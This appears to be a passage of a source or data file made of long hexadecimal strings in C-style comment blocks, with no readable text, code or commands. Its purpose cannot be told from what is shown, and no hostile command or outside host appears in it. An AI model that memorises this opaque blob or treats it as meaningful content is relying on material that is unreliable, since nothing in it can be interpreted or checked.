9cff91acee209dcc8e21d0722c86af8658a99438fa728c2418b6c2b781fd8623d1add0ef682e19b096168ced7c277711d6ac9b9aa2f8fa23526e816e2fed9325efaf13547319e8a3b9c4eff52c80c76a81a55dd990886add5a03cfdaacc3d58c1048d6ee7dddac0fa3cb7cdc9f8b45079d0fe92cbd489a1683e72119e214d8bda6125f7aef03ab0006468ce65f1f3a0e567e7da762728430983f2b8d1213fdd1dcfde12ba8af2465127562e94f5a3ce5c0cbbe51cd12dd9a6c909722aa250e999225cb35360bc3f873a20e69d3d24e959c41555e3d6e830d592b58213f42ed34f18841fb46b85149e261845cab3f1c8a2b9564fdeb416fc2ef67785850b0ce471b235fcbb30de053789a01e445963763f4dffc441c1cb8e67cdb05880da0899c5da6dace2dccf6a6c5a422a65ce781d282cdfb301c4ad12d84f401299433ef58b19ce79969d5f9b450990178cb136175f812c83e4d9400acde441fef6c9eb79f39426dff8d83bc225bef5e2cebcadb2ef25ff9d3acdb7a7564ceb609cc4a936f98002b60be690677d8c20c61dfaad71cca7aeabee61030682ff199863ad8b6ae881*/
/*f0f8944e6031e8bc778d2742e8421afd2cf3ba7ca9c0e577bd714cdc49aa8eb7468768ae39bb7b8f1c15f620b283d489e7fa75c533524277bd1f22bb75250397e13c4fa59637f27c66ae74d430c34c7a1646c3dd5d34157796261d61e9e035d7be300b03cefc73a3c137423507afaa2fb9703f2ced890dfa9ad219b89c22ad0e285dad26fae0d54aa638b12b597bfcad215e1cdca0ef4734ca237866d87a3924ba277bb0e81e0045161cca689aeb87c6ab7b5513a36c6b72710c1ae334b3fa29efcf8a23e4db6bd03046b3498ca33086c6633869eef9a4ef63cd284e9e081c0c0daf300c1e2a38c23015ec46253132e2967db2cb439fde05f35aafb1d8de1505d3b0c51033f6cd63918305a428f720c59082860e98a35f0e8c46ed91868f629131b6284b7f2cf883a5e01ffb7156627b24ec6b3606ffe10a77ed331b1a0bcfeeae2ff76acadb9b5e78650363711faccc10883251e1b740692982fa7c06db805e7bc8ce353d79a06c13a284afc79ba2647bfe160f7858a9b20729e7760f827e720d30e4b643f58fcda53d771473b04967dc817c155343d13716a08d116dff1809c5af2ecc0ee092a9db4bb19102202925f0f0f1974152c80bc41d65c58c4b33f82b0ed7833c7df8a521f55c794cdb86eaebd107381269f15fcc04f5afed45c8739d633858639d40465e8434fbf2d8bb44a575c4cec32eb1f1409d00afe1fa56517b09c2a20c849e85e7fd319ab4dc19e42b12ae4e4f1423ab3d8cf831049f297084fe2fe64de2a98fc79024c29cf49934c81f6f3994444ddf306415d460d913dfe9542e167e98291204f852281a0b1c7e7f9c476e7582012ad168944b24dab027e6ac141d364dbb23f427c1605fbaf0c723e33844cf74712ded04563a52479b6b93c98631917f48929c23f95611f263c6a7a6e2517945c7ece4faacb189810edb11982947d06b8252070d9e528aec4a53fd85483244e95cd02fc2094a4e8b3b5b4ff30b1e24cc653e070c3b9daa893a479be6c792353f4f86de0dfa336624eee7498233f5a21a535ee5feb66af52d132d92148cdb3ed6b9c27fa9c65c2e309aa0677be8fec46aa646b6e0d57aea4f05531efbb92132a5ec1c9ebf5a7fa0bfcdbe39ec4e5bd7607ab7d9abfc4566ad59eaf12ee2dcfbaf3f69518f1ed99b217180329bbec1d63bae70b7ec7c2e1a2df213ff8314247a6e39ad02f0bcc383a95533a1dfa91ce4d2e6e19942858ae587890df26d58d992b4a438bbae8576c0b7d27b3333161a2245cc59fd0d526074617d0f183e549590946a5f47a65c8a8e1322124c16389fe4378e2e3a5bc1f0be546a9342e9c9bbf518be84344eaf798dab0604173f0ddc4bb03d098a09caf309b463e814f7c372a2fa33c35de65eee8200f59da8b12ddcdb1361673bcba07bc88be328858abe201c5ce96288168436b44fce4c270102d1cd5b5b8bee9e106aecb89a6c77bf1e1f82b006159224b7af7d4db92d731ba491b7b6c3637e18138a72df5a167e04dde88e75de006742abcf146c6c4f788cd7abfd82ac3ac9505c482fef1974c41a7b80cc2e13e41d60ee9e450466f72cc09cb27cba19b9ca211ec070643d483e209a38dd2da2cb962ce60dfc0e48d5a2f3c68b0b8349fc9f5f6cde381efe747ab2e2595b407e64907d451000b61ee0b71700d22f4185a97adfeb15a447516b91cc7d3017aceadcd92c488effe7c5943e944590d4900401494d70501c1ea56620af2034ab265bc54fb7b1a22a90dbc7e657139ede7deb3be9af94938e677ec52455ca37d08b6998d26054d640c22527dceb3a125b6eae6fa5dfdb1fd47bb6c89c448b77777f4ae906b9e5480d905ab5acef935aa2a44dd5c3a22aa0c83876fa4237f9dbef0f8bf978a72df400b525c8f69bb0424f95465714bad42969eab5bc4cbdf56ef656cc4f67b055c61e7728c63b56d653dbe767ca9291eea9e0c7a21a66887f678950c38813e95d67e22bb55b4dde72ff1e6f8687652870b104d23d2d65b9adea105640041ed33979dd35d1b69aeee719c9fcf0ac65540043845b22b9eaf6ff0eb00ec00536ea8b481fea06395c0550dc402f39c907a5998921b5302d458061b4500d36393dad281be5eddd444c9bc0be09e6dd12410dd615737cb3af7eb24c5e2f819756f75ebf8476e60f38c47cbe6dd9e9b28c9c29d07ded49ae4fb0a29aa9e4731fde6f1a1c296dba35c8251ba1d49caf016da1384c70b8b52374bdaafad43b1bcce5da790f9adc93d28b820b1c8eed8b9167d8b84533ffad6d9c6f72d75ce9f2d4619caf4715ac35f94cd4db5fb5b1467144a1220835538078e6c770a4926d50cdd9e610892c267659c4fd9c0ad5047f6e3243a978f939df9f40ef5ad0e35ecd611ccb5ffd07265ec7942b124dcddf733789577697c5bda0fa8395780fd9133f021e29942238e7a7db5a9b981de1f64c0461f1dea86e10a9bd1b2f984581d6eba5d9e3c35329254f807e47bf440c0d81548d81eed427095c77da7b8711d979e7c56f468fb6a94229df27073508d720f60d12820707c3736bf3564b698c18706776209835391f13ceccb533452f10864df795734816fa733dc2b97ad84a96501dca1fa0d65559eadad55a13c078c30ec32d3a972cb7670279ba758dd2b73d80ae8b134941b4b1837ba5290b4eaad793806090be05a69343e6517b22ce196bf83208e41fc3591bec7d194bdfa670d2be36c6ad633d14e9ed2a2ca6e0e09749728ff35888ffb4340a3cab24c099d4b08185b5f31b870af4c01de385d7acfc0ebf3f6b2b6bd8cbdd0265bccab1f2f6811a32f4bfec945ca2aeadba3f*/
/*6cfa8b9ed7aceed107e03bae3807049e1c013e0a1d64987690790994242e72d9104e07d6735324a9ceec2dba443ef0be408569cf788f7f9a01d45c0bf5cbbcc409b0ec02599551ca1cab0e9f77ba797980374dea0f42af9bbfea923d189cb72b90a520f74000f32cd7dcc5054c761e3af508d940283650cd421f48f9c22b2a3a57ca60c162dde77c6e3c9a352e6492b4f0e07a84bc475cd82b0f8b52e26569a3f37bf5db7185e89175946d148d4a898109e9af05d7410e9e54dd7487961d04f9466841091e9f32f6a8d7a64f183ffdf42c2e64e6160c860235baaf05a04a84fc33ab934aeda2e1194945b59e2b3e9290c062d8da7bcd0069afe5f1c31a1b1f2f71cf4c9956871f0ec453c0bfb0802bb2801cb692f667597903f6d59499578607601316d02b8c472d06865cc12bd0fa1647baecc4653d7b73144a002d60153716dc0c3e0567d4a9533984c31dffe718fa04e7f3cbb6b45ec09d748e5f0efb76f6c1c59544051bb437fa45285c9e7124bad672bcad943d649182fa4ea7979717afd547660d53b6030fa7d9c44eb63bea79c362e3e76ca9b24f2f39ef93ae5aa24452c1731a011de93996fabf709d52f7dcca50d076771c372ad7f9273c0f19ab50b10a59b32928cd27d2d5b80bca9923a796dc6747d5c45fbad7d44f6ceb6a156bab7a3605c34aa4a91c37359c7d5cf645f1d713976a8165f12311f046041809d06549490fb31b15929490d3bb80e96c6bc9eef4b24bf0dd9bbdd4394a5b392dbb90d15f1e2305b886b561eafd3441141cb90798b944df2e49bdd60599db9dc416709c4d0f7d2557badd3f63fb5ec24e074354ebb9b011590980362ae196c4762d5248c99efd2b6309ab436864fda65705688f398fd2219018ecd52c1c0839d920e9cf6d9a88d68118f3750b64871ea04452f97a64aacc6ac3a5ee4586eadd0d6129595c3a469a676459620e19cf791d06f21529bcb9d626c03c2f5f6a777a737eed5bad8a695bf8debde9f4f73ffecca17f305192ee4e8f436d4f83babaed3662d626d69db1396433ae20e01bf42a491cef3005fdb7b34132c89fbf82a401238b2f89d089cc77d6e7a66bbf6559c3e4d43acc785a9e558cf8be7820fa6721c899641eef2fdfdbcc9738322703f3064d6a74c9db4ee23de60a95588fe949f227e95504524c7ef0cdde1995385c8ab8b9b732db272f9d755d1797d1a6cf34a218b464e5d601388acb8e39751cb17b69abb153fc4c99be9040a8b2ac58c39e6ebc146ab943121f8d7037de743d01d717d19e892bec6e5151fd3c382ab1f3dd0b066eebdf456894028f18c531c6411d555846071089e3f359fe4b0e886516d580aaa309c7b2835e8188fd11e1268488a02c58d8f8931016f13ee56fad9453aeee4524243d3951817c914a39645b1e10ea31743d8e4187116ca1897e1a60cae9e2f3834e652a2a7026d9853abfbf3bbe1bb54d74446f584656f6b57e203ed552e989040c513918d6bfdd38031c678f78c2e7d5af29af7095ff5486cacb13e42112cc848a73877c283ebb3f95d824f3ee7ad1ed09f078de8eebea3907bf18b69be20149f7b591dfe35bb6833d8e06a6e0820e2a6dfed987d062481f2cb4aac55ca579037e00312fb718ef69be7c6ab5cc7580768d0ff5e292d7ef489e51ea06b191b786133bb2ef723cfe2a084ab1388557cc6f160539b44caf39051166f9fcd772156e83c5b974173bbb1028b91fa716329df832d0baf67be91cfb99b1329e41a84804f74cca3770782447bb79cb7071ecf1acc20f14cc615a7f4771edae1de0a47682ce5c995ad7e921688a6c2c5ffe0dbbf4c1f5eb963265106f270cc49c79a9a7d18a69ff01c976887511833bfe8b9654755ba849958bd4bc22769183c04eca32d1ef0d18ffe96a02ce9daf8f483473d4b72ca742a28e2504f9fe91529744fec67f2b999756081088f1618da53cdda150016029ea5dbc4c920c7cbe9608774874cc39b14031b317ed5cf61442eccaa3b501e07cc1219ea6170262b9ad9afa9428d3d113e1e8a2a34381fee8d0becac69d17fda4d71c234544ba0f1efd0324bece4835a041e9be7f02f0a4c631a35ad4c41c2d5286e985c135813dcb615e08baa1cc0f66ad3e8f6924c565000ff97cb854f394da6e3d99ebfaad059496a67e61c2608df003a7b1f7f884c71c5d8f0fd55b39db8fa9f438ce9f6bd012685fe9f37b61f00fbc47529b5bd33252b54b140893e6733b7fd94a43e4e6b8aa3b8b4f3b15b9e9b6b90bef434511a21922480a7d252f92a855e26389dbbd3a8a87e633e08d1357552a96fa89fbe0e334f08c96a157d5984a7cffafe3ee1523af79b530c267db4f21313e5b56277cce275d20ddff2f431c34051d8715cfdd7c4461c5548fc6d7895a88657fac5bfba5c42a6c97542caf53f1c45850b713938e3de53b3946e3c6284279935c250830525e10ff5f44abcf51380f05be1d019b1d861eb0879fbcba6f545f37d87f8a74152112134cbe7605cad0eb2d5554a3a52f9adefda4cf68033dbe1aa8312bf9ee0d1e8df8f8ecafba1a4dac34ebd14419f8427dd6236087be98dce61cb5b4637a1509be78f92a02c7f405d0098c65db4bcc3bef6c58ccf52fe5cfca6f938812c081ed852f9251cc415ffda6843e7a10ac852aff025ec39fc8214760bc0af1b77955a52fd4f6dda88b1a669201a0f307556aee92764098f1e0d29c2ec8556cb33b362a8e5247df7d8ae0ca2d8294e7235b3368978f13190ba49076ffa1eb42c260361278a0b53390d5f27ce323428a363606febf50f693eed86542566aa0d95426cde050c681ddca2b*/
/*35950413f6976c397c2b3e89404ffc88966f9cca751ac35475d3e0b3a4714eb95d8d6846e09bea2aec57f9df63bf92e52966ae3fb1d34748af9a6f4363a9a5ddc804c910aa48c2f5c25095f16c8a2c8b23eb9ed1d6069d20a9a5546862695ef3b81a644ca283e79356ec93c1e2208aef0fdadaf44e097bd567059efd0bf5ab512aa1534c07f806a6a796c80e0fdd938f3572168f8c437c37d67367709dc2349afbd3b38d1fdf4e11a3b581db425375a9c487acb62791e98d8922bcdab1afa9387da67e66056d4924bebaf84424fb6381ad30760558f2da735f1e5fbfa2c54f8c246acfb6fcd11ca9b6a3e1f2c5b4f655174c774706911d8f62bbd41179132464ebe7406170d18f7432de39e0486a4cb973c6e18142a645a3147528b9a31541aee7998a1cf2d9fb67862e268393248a759f39d39e68e7891409e4521a79c39ca1a5dce1c6ca83608f34e5c7536c0ef6605756f9b8943b8a70c03884201c7194c3746cfbc15b412ffbfccab74ad7f108b21178d2e9737055f8eac74eb601dd50e0515ffd73a84b10092893c3997dbe7258fd4d1f9a6894c1deba559100149f2e5859f2ffcb213c13d548bf18153b3459a38192b6435c7eb10e848ab06ad0179c7e52da3400667a0f90a48a1744508fd1fa0a8177bc2c39b52888d0fb9005a0cb91e83598def13f5df6fbcf41834073eee0719d99f64048a2899bb53a9b18acbe65998dcea40241e58796e0540f96e1ae42ae3a5aff6ef0d09267fd456fafd2d6093b4a79011f05627de4ff4e33b1cb3f47f3e42513414e5ac376fe994d063ba528ed52f884e6961a333e569b6dd9a351fb2ce6955c7545f82349b6ec394e4beaa59efd1e97e428a05fa580c74603d5c4f293d6018f0761c9073c7e8b9c341a95cfad4915e2fc7a21bd22fb0d370f22cbb992632a1f42b4941e1ca6c39c00500b0501cf09a8c259cebf36e5d983a1218948e43aa84433640b6eb91fe2bd5362ed58bb817f767b5b04965348df0a9e23d366f535e002e4f26349a1e1c937b61934290e9c3650f4b63b771356f9fac40fc1146de8cf1a57dea371bbeca4f0514a376c5ea5824312c29ac34a3253c34e0788f998deee79e117626ae65390d79354bf8cbf97969398a028cc15f888f91cb3a51433983399de1cf4e2c8344c008a3c1d64020c324da97f0d2bd4c0cfaa20a9f532cfffa5d822c8cbc3e61b15453d49c25603f52870d80478eb3f9fdbcd1b5fc1ef434e41a7d54d0d0b7968d94fca2f55ece7f4c13f9efdf749f2660d6a32483d372655b0af41849f46881f8de159030fc7b6f3f78348fb66b28bc0f9184d5f58078ee56c1e25cb2ea7b1f2d145aff1587b0bd1af00ac2e2167dd8a9bc309ecddd7a71d358484fbba632a80f2f4dbc64f894bcc4b800749c469f40e53f69bbfcc07e31f190f3b60f4e43d89ce827be4a2cc275bb9929f89521b1d3f49ff6daa2e3dc5400cd43055e2395a4797c4ea5c755ca8db5c4b932bb4fd8e7738e12793f14b2f2080cbc86040356ae80bcbadc6eb6bc83cfca1bfa8c1b5e22102109cadb7bce3749694655ed2fd3335bc26ae17c4290ea054f4fe5bde4dd2c0b602cb4a04d1660e6cc5419726ec3e1b45d9e736feada0b72ef8c6f8e082c74753c9ac07cd8776f4047d4dae1b745bd4670cf38d3332ffa892f294d3fd986c4a073be6913208611b048906e6e8d99937529a7bc24a9afa5ec32bad9f9634f98662b19308e4ac1ed9f29254f66a8e8606a777ac75e2759811279ba5488ec4bb6409932f6bd201c4f836b5497529434b27b7d34919b604a57fdb8b898465701e6f5ff630783343dc1831cec2fc212c159b484be6149d2354a964c109555be73a0cac67c66a5d7acbba85c57909be2ae5124ef61d40a1b6dba8148fa4b07b0a34bf7d7fed7da0b733a9a8c647add9ec5299423a02e1f376c43f3b3420f49b149b76e0d9b708cf6419ef328b07d0e0a2ca517e905849cd7cf9c939fdff795e544b60d09c2daeee878cd0236acef2fd56312c151f573402107442ea1897fd5975faea53e05701666b7b58a2c1eb6ecc1a2210d3285736f946f3627504e63c002ede7183e9b76d4aad2f72f6627b26f2a28a226f43d049e4267427f7b37757245585f4c5a404a5a294638bd39125dcedf351e8c2eebfbf6b19387b3d2714c9951ce08d830fc843153fc036f411c53c7e5053a79b5d3359c0ec02211345b38efa8090ed2bc4d7f1f6c9985ddd2eb81e92bd09b5ab3c5d999d7a9dfa440a0037c2b7f56059b27c45053a2d67f98f64ef5c60dbc736814a2babd9fedbd45d32a31c9ce7ec54d961fa0eb340a5a91a3a9607703e62e22b6263e95b5d896474d1bf981c2fc21b69e1aae395efd6d54cf758eefccbc8f8b8147da369a829218361228a19c9fca11141c5fb9b08e86a86d13d1d6b74492c9111324ab69fa2527cc9a6588bbd4a9356b47f5ebd76d370fe12b1fd4dba9558c9d10e3c657eb48312c4e0ee5a64cb62f4a7377eb4deacd105430dee1f54ec37d9e70b9307b46fc5186b665b9e08c7f5ab9120019f0ba116bf7379ffc9880062f17346106251a9e7b20a819f1898be6a259037bcc1347852c81167666f68b0128b5c7f839c7f8c05d040c82408bf8763deede4291fdf398e8ad4ded5a2572326fa4301ad03a8095951162f659622687b642f83849db8e7d9abe816b5bfde89100fde9b148e1b748d09c4aa1693fd9840fa1f761bd84ec3877a34e73aae9c2af5f6036912ef9de3b3cae2038b4b5bab8b7369938190b5876c9701f68d284666154316b0cc13f7ef5df9bde4ca843eb2d584352a31fc*/
/*20e5b597d9c27a34cac0b8a485ba7dc5e7ac7c0df604f67b8ca26ffe8e1ad3cb3369d7b8b4ad426771b634e33df17632eefeabf83403d945426cfe4eb488ef04d812dadf3d552e64fcee44e6fefb58a3a847a0fe0cf69b0241c2fde83dccb0384cf477fb293953485c2f1f56dd19b77d04bd8310b686b472576743626f5587f0241af8897cd4ae700005a32a1ff3fc922a7b10de74cbaa011c4ed8073919afdb85b2e809dc0a821c2c9d7e09d520de08ba1d5b7b0bf835758241d48dc6fa18de8cf9bb045dbb9d53020dec3a4ee2312fbfe9814312e49704b2e463687ee74e200b11a9876c786aa10d997b64246e7c35f0aba32c9ea7cacf533652039b3638e15524164b2782e1c42d72898923e38a2f74ab74a0ffe0e356535d89b6c0dbcf9c06935a5321a5b42bd74d9056f78544383c9e3f38e641a13b0c8c80406c2d2328ba488f1647a4596935d62e4bdfb54ec5c1409e1f169482a6052f68d07ed2e0b9d0299d567b418134d58a509d4a0ca9e1c537bbb868a0226368ec579e1d686f7de07b52463edc2115ec5c42eb97a04976c94628575390b95d3c2efb6e9f693354547371a3210f1b35747757964363cf4633b019505fb591eb295736fec419cc58388f63ccfb157441ed922722fc9824d48579faa632d0e17667dff06f0967814b1eefca664c0b3a0a16a5c49c2d1a936282da7b9bf913db7980db015bc5000f690e110575309cfa5b6d8b1f7939c6e6069cd75d951cb351447bdbcbdc735d187e286370acb058ab30b726a34ef726cb520b78e0b988f57cc062090e1d99f5a14410ed7aa773461e16fbc3cea137c39a53334f657b352a1ed66f6b64ed39a0d32b1917286cb3530d692aed9c576b17d45191ed5eaa6f63df73fdf1fdf1ba91a28334052566c92da5fdc502772a9110436c2061b8b7821d3da6fcf0aa89993d204ad2cd980367211825d83a19078f380709a21db10a178d746aa3b54b2f2bb2aebc49bc386f34e405bc2bf444b6b482f767b29e33bea80e760168a58da8f4f2f115affd5accc91a2a28c23b7c33f5784447f3bc16c220f66fe451d20bba1f55be5605a944213e37354f3a0806b6555025a33bd686d41980899215cb332bb0b2e6877ac06e7bb1a24e12c9f17b0a00be3880392a897fa1220b24b0d499b6896ef07e7377e042ad936d3a1574cf08f8aa9244fee9ddbc20998e93a564d1357ac19d038801e5b703a474e69bd7a1f38cb1153fdd65bc5a2bf88db53b947e58cbe34606a8d8d36b7cba82e0c8671e0ab306fc3f3ac25f1f60e432ee529848983577c322db469e95fa702dd0de4da760cc4aca2415f2b19a54712765d1fc857c4c0849c3f816099c6d7661f9cffd03e054967b0c74903a837aaffbf074c14e5e3ea580eb0d821548f8fa9d131cd38efcc553f4068af97fa6213bab44c8bbab92dadc8321e4bad29745cbaa53947f6340e9b0b0eedc01ca889476e639c6333f561f36273488ff339c35d9c264836c032ccad3ef2822445fbf73c5d5bd40ab93e6413e8520b62f986fe8337ee12ad85baf3bb41ba5dada63ac5205e882ddd41ab1eeeab9c241a067cdaeb218e44aa93e897f59d94ce958c1819b5c4b3af0f4dd13b8678c1bda1c4aa9a0cfb3a12277b1ab79e884beecd57c3aef163dbb896994f73cf8c8c0a3fe7fc9df335833975a834a0f56dadb08a090463b4da55f1909945bf99836e065f892bd53008ba1b3136c14099973660ffb13304c0c76b2137e947dd7f0d49f6595f8687d475714413d852def718767953a7511139b291028502ce9da30e8e185b8b5913263c86eb78f6ffd8be2e1165a10a494bcaba0eab9f0f34d2fdc87eec70928330c585cfd2e0d98b2466d663a92bf012e4653ebd498fb06b850e2e2b3e5085aeba518e2ceec2926b1238155fd33741b6196a70e96aa2702bd89c4590646d7175f72ba67840cc107569f5b75b742051bb7fe7f36931b65fdbdacff96ac5fdca7b8f78c1e0b107293073f847315c53a172f45ecebfc5e7b7f61fdf7104656f7a74c2e0b2f1c094605c30eb6b9540d7f73eb1ecaace61d3391ec82c258292762d66d2a62769def9907654937ff773d826d3b8ccef9c546b44eb9106e59d478f0ffc78515b712750d11a9732de9eeccf6a618f7566b0252aebacba9e4c30b734b7339560a71c5ceb84d2a219befa34d3af137f47af145bc5c861a7b77819e1fccc19f658d27222b089e4aa382954747004fc2d6a2e972ecbb1e754bf1fe4ccbc3eb9f23550d37a6a2bd51bd9b3220e286a1fdb5d5eb9fe313ce08b0402d3621d4582dab8090e1cfd6d5cfdf37ead47482b7a75dc2b49b4824d2de19b1948c8f769d9ee3da4e9cb9048882ee1a6e79fcd7e3ea63c1f83856a0ae70cdcd9344da846637da2a3d706fa3f38922c34bd9d72e8852d2ad64dee35311ecd83d3db685be13f5c0e5acc4875870fae82cef0e23dc2113196294c2efc061e3c2011abea140a59897bee5b2ae261f3bcad6e0d192415c9f6570c87b33c3c6541b792aa31ebd6f6eecded6e45749e224b26cc5944bcb882e494dfe3d298e4609321fac987245524368adcc40c5cc34c524902ca63cce26776aebd7ba852c6efa43acd842f26e198c37f9651873812163621aa3ecabc55401792b62300a04a85ff48e026d26661f965c02e74d414ac0c047103ca98338ac8cc9f316b64753ebd87ffc1951ada06e39cfb352788a6fb6be5eb64f3b77674a4f95b93f9eb2718b35b56651f3b890d133e5a6ba45a4a9334d3b8a60ae360cdf59dc5d50e6e406906ae677555161ecef2d489cc08b05e44189c67f5f6c*/
/*4202bbc03db081936a3bc1b8c6c57d63fdf905e9fbb002ea5b7ebb94ac0068ac34e66ceb1d75c2eb77be37349b537bde63faff3e28bb634082e993d95a8a98a44d026f8b96a682e492e7647dd96bad08fb3af88bc1af1181295e52f83185d1f8e43cad70f233d5cb628b1e97ba38d56ddd1a152741fcccaa4e0fc82fd530b8c9fb18a579777f9647b8c6a593ac3575b5606b9d77a31349c730a608bd9b90f177d91bfee2e8470d61c24d45320d81a3610ebb759b92700f6acdcf8cf0b78759d2c7e02f896796c9726dbef2fcf48f4f9baadc4a773dbf8d67a7e525cbe2d0be926c3aec060e6e220d2e93a58a5a517974913401de8a84ce359bae1d146bd0e7c7191a128c386d34845a07a0f4247fffd9a80f7a463b067b10a023d08aaeee86a21dbbed5caf1093539b8490028cda060bc36a33ff8237abaa0ddb49b68535b1a96134caf7402790fbfcda2d8657c68a29ae412483a9a4c5b8acdd35f814799ac145b928dbcc540d1c147d0fd594cc69fe18a587f8c888185e22977725c84cfe251b409673f6f6edfb2212d3b7c84d2a65106f7b5ce68f990216845fbc0cd56de51c294b742e3485b8fa21d8e9418be3e3ebd51110c32cc7056551ac576130a4592c8729f733ff3dd61d4f21149ec5a97bdfee38a93305456170c9451bacd4bc8c6e344475cc65ac69f301e9bca1678f0a7ed113d797a55eeb462b6f0829675b7626301ce27ee42546783cb5c703ee8588a4434cf5784fe09b41508d69bbb921f808ab7e5880bf504c6ca80ab486d891857fc4c13731184e46d06e2cd91dad6cf9a62be85870221c608dc4a174f4f406217bfb8a781ce4751d7453d4c6a34b25ef3e9fc776a54535fb324029aea640fb2a59389403cc53cbc110391baf7be073d1fb52e53bad99e4c4dd78286af192f795ad1e81896b882f6547b9587da48197a593241cf61c0b4b29c5e5868c6fcd846b31d3e5ac0f319a5c862fb0dcb351502777ca8177db07d1b61b6a9e4a190d1640ff9c97555f1a89f281788d4ff14b0142c87bd8637ff8a05b5e17e9445deb3d2d6883e55f5643da2cb07c91c181fe2c71c281ef9a5668a025b7a5b334f155486fd79428dd0c044865a7c8bf91865c6a7a0b096cce3bd9b84397c2ee104c1a0c414c5470a5d821f57329690937bd0a2eb8b98e23d21a80ab39c0b5a823fe108d2c328ff530fbd4feddeffd063b4b9f8f45c60d6542f8281df14a0facf05699e04f95c24bf31f584efdc5f2b1effecb97b4b77f61b49fab52d398208e2a5a1dfa9edaf971c8c98843d2692492537d31ef65730b09059e913277a16e65168fa7fbf0e5a017b1ea443389f881c4254dbf3f3e0294e1d9ecbc79672db7701e3ba1c731fff6560ea3f10feddc0037a06300295f8bda6dd4aa07b143fc248b2a4c0e51c406c57e79845dcdd2de345a67f674acd3fffdd47a608d63a063fe0b37e8b6048ef8c8ac4653faf87193349246a57fe45b8e73416cd48d8316d687da38834a966d1444affed9c6c3fefbf99298740cda9a940a8b296bb1ba994e8eb776e9b379e14f7b1fa77eaf27a39f9c53d0f154e5f1f5b5e9d03070cd40e03bcbe16f5db48bf4e64f9a8e246227e07918cf8ca8297e51b3ed697b748f6b8ac7fed760d5d24105c9a551cd218e161e383d654c0789634571c24e4d93126e70bae7a81dd3314a53fbca0b25d3ca7e355499f1898f45b88eae170fd02eeab55ce8477584bbc05c4dce9b4724864702b8924f942144114ad638897003d23fe86f6743ebd6f92b916261501d5736493bb4d77e84ebcd3df10f3f5f3542b6f12e34493d7659ba12f4de3ac3ffd31a77f7c98f5b5c230b258b3dc89010da82abac756dfd21b7454aba708a5c72848f8b8c492c6e9c7c519e8f4a75c3478f459994e597a4e1dd746ccc19d459fc51849d987a84b223e2e2b0edb2298ed606c99bd44abd69304873fd331986b19a00d30d1fe978cbced49162ddb2ba5828ed50461ec9660b22c497e062203d13ecb6952d55dfc49d29c4e29c4e6698ac80ecff16042e6262587f0b14ce3b461454c76eff1381f0ec9fd2a004715dc3065a9e683a808b3366384aec0d31d5d1180b28a3f145bf9bffac556998eee9896b285c7bdd20bb8b61e3a54af16c8ec15e1a253919531e8dcd0e20dcdf4743b2c945f676038c152024d5bd9a67a6c007e94b5dc5d387227de921de81f3c529c47bab4f28ad8eba1146c21ec7a5e290871262037068555b20d9b6283b7d700cbc69144c02c927bc8b34dc57b05fcbc9612854ae9a4af35bf3d54f813eda68da4b54334e601a6ba30d2e1d6ece31518944de4c5de8dc08a97828aabf66c62b4c770d09bde97b47f5fa9542b6aea08344daf4e15e8add5fe411893a7a05c60ea79483526d3a080f87adceadfa0a69956b7e4b40de10386d9db83c836910febe8cca3ff5945e70f8dde067bef4843ce314ff54d8d2a223b46f8a85abba03f0954b54548ee4e3439412bf6a9f0110440597980e83421d86a47864b9070112e4d5f966bc4eee6abf5d9acc1e632947241186c02f45efaa93508bf2a5fa30afde26ab6642fa2eb5c30fdf6a1ae9cc10a2d8c7c8293a252278199258c93a231c04fd2815cf2e51603569d9fe3c5e8f78757c1026c341309ee7821aabfd8ba1086321fb52bb18ddbddaf16ba3bef1708e14bf49de9dac54b4dd60b11c4fd1fd3bf2bb80884368f020415a9678b44dd8be5f58184d8f7ba5d908e286aa7b83586b01eba24efe4af30d743d88fe834b07c5603d654a31b2af333d16f2f393788210ae9d865d7902fe8d06f146ec12fbe1d2d863*/
/*f1eba2e4bda80a848c6df440f5b5d192e5102065ef63435a8e42f7b3aa41c592b821b845956793c161ac57c0db8ff8e5acb9c62822172e8550c9f060fcea5fe222270bac45a134e30e1eaf216ca5b51216cbcda867102b205c2eb3c9c4a19722e657421bdfa212e0111ecd1743b0c0f3bfc7acac217e32fbe8c73c4b423c51909b2730f58489bade665704dbe4c17a863829de009e5a53314dfd257343434954d528e7fda558e0b90b49bc0caf89517b6eff192d27abc3f9cac36df161abceb682d7599ca3776116ac667460f0df50aedce7b5fc555f02bc8d2102fd2bbc4040988fc90415a6b73b95614590c81ac49e1c1e2881885a74279698a64d5ac546c8636086dd13f17b1288f3e161a5217dee4185911b43b76439a2dc47997601c63ffa8b0b1deb4aea466b4827e024c2e7fe0efc1831b267f2355625cc6bb3bb2988c42c6bd16c0d0f94533f5b0c3cc39a5d9a708f914bf3ce1322f935a1eca8161329d477fcbd51adb9bf649f3c7dcf6741ef1dd87c4002be5f44bf43281759e785b8082d03c6b3d7a54f106c79a1597459e4e1f608ee8b22684518592154ac49142f30f1f0fc2e59d6f3879a9a127b2dee05ec3740c1d8b47d338077c41bd04ce96e83454f9c4a5e4fb28177c5fb10748a2598ef8549e2e4eedf71e3abb82b55f8a926f96a16f51f887c8a709ecaaa6825f2f3afc92b3d8dd620c927e9451d1ffcc0bb5e6702f41b1d4cc536b5c2529e14757f593f7098b75afa26bf4c2bb74866340530efcb697cf80cac25bcad9858c826158c5e499cc028804925d9bb94916450b625dc1e8f92e62555e1b75f7991f96f6e4d2ccbb0694aeac64800c61eb67a3ce42ca5f624ed6f3d93df1de31096d3a46bebb89e896b10cf7ff543ec83e6d511de732e3c2f0a126f7779a76b40c5018cf18ddff143fec1dbb9c03465b4966aa86fee0e099ee55d370babc1d0ba9e99a7cc918d8c448b8b98d26cb792af0faad4a6d29c782fd88bd11c765a34781f63ac542f7252feaf8e294f81f3bc889decd2ddefca5f69ac9478ff28f75a086c2a05d1fe0242103b2eaa5d72ef37f3951c6bb30f1f67cb3e4b5b037d86fa0d61ee7ccef1ad305b02d3d82c35fcc1dea01468ef28e3e86954b50163041f962c9b5515095f8d1c38d2173b08ce708fec46141a91df0ce84f4f02f9fb6b6ea45d8e27bf6d52ad326d1d986a1b55c5eca09180621f66d5a0d2b0bb103f5cc53dcfd690a3833386e906d4c166818f32151a40064bbec498cf86b5c89d286a0cf28bd753402c94d084e20da3955315413fe8d5730f253a12a4543aee39d907b74da131a724cc1bdb0cb7222e6ea9e80dfd70b70c005e3fafa69b6903ea965e7da06363af71060b42184034e332ca2e5fbecf92bfa9fea2affe7d2a10670facc13ed1d0e468748fb1e35dd0abf90b6c39e1dd5f4f635d44d2e92a8471748b8f8b4e308da2cfb627ccbb6fb4d824ff743e4ce2da709f7c01f3ca354071e1a0ca66bb6e4546640ea9c4ed7d09afb863cf4c79a